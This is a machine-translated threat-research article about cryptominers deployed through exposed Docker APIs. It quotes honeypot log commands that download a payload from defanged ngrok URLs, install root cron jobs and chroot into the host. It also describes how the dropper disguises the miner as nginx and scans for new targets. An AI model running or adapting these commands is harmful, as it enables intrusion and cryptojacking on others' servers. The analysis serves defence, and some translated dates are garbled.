如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工

如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工

我們分析了使用蜜罐容器收集的數據,我們創建蜜罐容器是為了追蹤威脅。 我們使用 Docker Hub 上社群發布的映像檢測到來自不需要或未經授權的加密貨幣礦工的重大活動,這些礦工部署為惡意容器。 該圖像用作提供惡意加密貨幣礦工的服務的一部分。

此外,還安裝了用於網路工作的程式來滲透開放的相鄰容器和應用程式。

我們將蜜罐保持原樣,即使用預設設置,沒有任何安全措施或隨後安裝其他軟體。 請注意,Docker 提供了初始設定建議,以避免錯誤和簡單漏洞。 但使用的蜜罐是容器,旨在偵測針對容器化平台的攻擊,而不是容器內的應用程式。

偵測到的惡意活動也值得注意,因為它不需要漏洞,並且與 Docker 版本無關。 攻擊者只需找到配置不正確且開放的容器映像即可感染許多開放伺服器。

未封閉的 Docker API 允許使用者執行多種操作 團隊,包括取得正在運行的容器的清單、從特定容器取得日誌、啟動、停止(包括強制),甚至從具有指定設定的特定映像建立新容器。

如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工
左邊是惡意軟體的傳遞方法。 右側是攻擊者的環境,允許遠端轉出影像。

如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工
3762 個開放 Docker API 按國家/地區分佈。 基於 12.02.2019 年 XNUMX 月 XNUMX 日的 Shodan 搜索

攻擊鍊和有效負載選項

惡意活動的檢測不僅需要蜜罐的幫助。 Shodan 的數據顯示,自從我們調查了一個配置錯誤的容器(用作部署 Monero 加密貨幣挖礦軟體的橋樑)以來,暴露的 Docker API 的數量(請參閱第二張圖)有所增加。 去年2018月(XNUMX年,目前數據 你可以看起來像這樣 約譯員)只有 856 個開放 API。

對蜜罐日誌的檢查表明,容器映像的使用也與 恩格羅克,一種用於建立安全連線或將流量從公共存取點轉送到指定位址或資源(例如本機主機)的工具。 這允許攻擊者在向開放伺服器傳送有效負載時動態建立 URL。 以下是日誌中的程式碼範例,顯示了 ngrok 服務的濫用:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

正如你所看到的,上傳的檔案是從不斷變化的URL下載的。 這些 URL 的有效期限很短,因此在到期日之後無法下載有效負載。

有兩個有效負載選項。 第一個是用於 Linux 的已編譯 ELF 礦工(定義為 Coinminer.SH.MALXMR.ATNO),連接到礦池。 第二個是腳本(TrojanSpy.SH.ZNETMAP.A),旨在取得某些網路工具,用於掃描網路範圍,然後搜尋新目標。

Dropper 腳本設定兩個變量,然後用於部署加密貨幣挖掘器。 HOST變數包含惡意檔案所在的URL,RIP變數是要部署的礦工的檔案名稱(實際上是哈希值)。 每次哈希變數發生變化時,HOST 變數都會改變。 該腳本還嘗試檢查受攻擊的伺服器上是否沒有其他加密貨幣礦工正在運行。

如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工
HOST 和 RIP 變數的範例,以及用於檢查沒有其他礦工正在運行的程式碼片段

在啟動礦工之前,將其重命名為 nginx。 該腳本的其他版本將礦工重命名為 Linux 環境中可能存在的其他合法服務。 這通常足以繞過對正在運行的進程清單的檢查。

搜尋腳本也有特色。 它使用相同的 URL 服務來部署必要的工具。 其中包括 zmap 二進位文件,它用於掃描網路並獲取開放連接埠清單。 該腳本還會載入另一個二進位文件,該文件用於與找到的服務進行互動並從它們接收橫幅以確定有關找到的服務的其他資訊(例如其版本)。

該腳本還預先確定了一些要掃描的網路範圍,但這取決於腳本的版本。 它還在執行掃描之前設定服務(在本例中為 Docker)的目標連接埠。

一旦發現可能的目標,橫幅就會自動從其中刪除。 該腳本還根據感興趣的服務、應用程式、元件或平台過濾目標:Redis、Jenkins、Drupal、MODX、 Kubernetes 大師、Docker 1.16 用戶端和 Apache CouchDB。 如果掃描的伺服器與其中任何一個匹配,則會將其保存在文字檔案中,攻擊者稍後可以使用該文字檔案進行後續分析和駭客攻擊。 這些文字檔案透過動態連結上傳到攻擊者的伺服器。 即每個檔案都使用單獨的URL,這意味著後續存取很困難。

攻擊向量是 Docker 映像,如接下來的兩段程式碼所示。

如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工
頂部是重命名為合法服務,底部是如何使用 zmap 掃描網絡

如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工
頂部是預先定義的網路範圍,底部是用於搜尋服務的特定端口,包括 Docker

如何使用非專有 Docker API 和社群的公共映像來分發加密貨幣礦工
截圖顯示alpine-curl圖片下載量已超過10萬次

基於Alpine Linux和curl(一種資源高效的CLI工具,用於透過各種協定傳輸檔案),您可以構建 Docker映像。 正如您在上圖中看到的,該圖像的下載量已超過 10 萬次。 大量下載可能意味著使用此映像作為入口點;此映像已在六個月前更新;使用者不會經常從該儲存庫下載其他映像。 在 Docker 中 入口點 - 用於配置容器以運行它的一組指令。 如果入口點設定不正確(例如,容器從網路上保持開啟),則該映像可用作攻擊媒介。 如果攻擊者發現配置錯誤或不受支援的開放容器,則可以使用它來傳遞有效負載。

需要注意的是,該圖像(alpine-curl)本身並不是惡意的,但正如您在上面所看到的,它可用於執行惡意功能。 類似的 Docker 映像也可用於執行惡意活動。 我們聯繫了 Docker 並與他們一起解決這個問題。

建議

設定不正確 遺體 持續的問題 對於許多公司,尤其是那些實施 DevOps的,專注於快速開發和交付。 由於需要遵守審計和監控規則、監控資料機密性以及不遵守規定造成的巨大損害,一切都變得更加嚴重。 將安全自動化納入開發生命週期不僅可以幫助您發現可能未被檢測到的安全漏洞,還可以幫助您減少不必要的工作量,例如在部署應用程式後為每個發現的漏洞或錯誤配置運行額外的軟體建置。

本文討論的事件凸顯了從一開始就考慮安全的必要性,包括以下建議:

  • 對於系統管理員和開發人員:請務必檢查您的 API 設置,以確保所有內容都配置為僅接受來自特定伺服器或內部網路的請求。
  • 遵循最小權限原則:確保容器鏡像經過簽名和驗證,限制對關鍵組件(容器啟動服務)的訪問,並對網路連接添加加密。
  • 跟隨 雷科門達斯尼亞姆 並啟用安全機制,例如 來自 Docker 和內建 安全特性.
  • 使用運行時和映像的自動掃描來獲取有關容器中運行的進程的其他資訊(例如,檢測欺騙或搜尋漏洞)。 應用程式控制和完整性監控有助於追蹤伺服器、檔案和系統區域的異常變更。

趨勢科技幫助 DevOps 團隊安全建置、快速部署並在任何地方啟動。 趨勢科技 混合雲端安全 跨組織的 DevOps 管道提供強大、簡化和自動化的安全性,並提供多種威脅防禦 XGen 在運行時保護實體、虛擬和雲端工作負載。 它還增加了容器安全性 深度安全防護系統 и 趨勢科技伺服器深度安全防護系統智慧檢查,它會在開發管道中的任何點掃描 Docker 容器映像是否有惡意軟體和漏洞,以在部署之前防止威脅。

妥協的跡象

相關哈希值:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Docker 視訊課程 練習演講者會展示首先需要進行哪些設置,以盡量減少或完全避免上述情況發生的可能性。 19 月 21 日至 XNUMX 日的線上密集課程 DevOps 工具與秘籍 您可以在圓桌會議上與同事和執業教師討論這些以及類似的安全問題,每個人都可以暢所欲言,聆聽經驗豐富的同事的痛苦和成功。

來源: www.habr.com

添加評論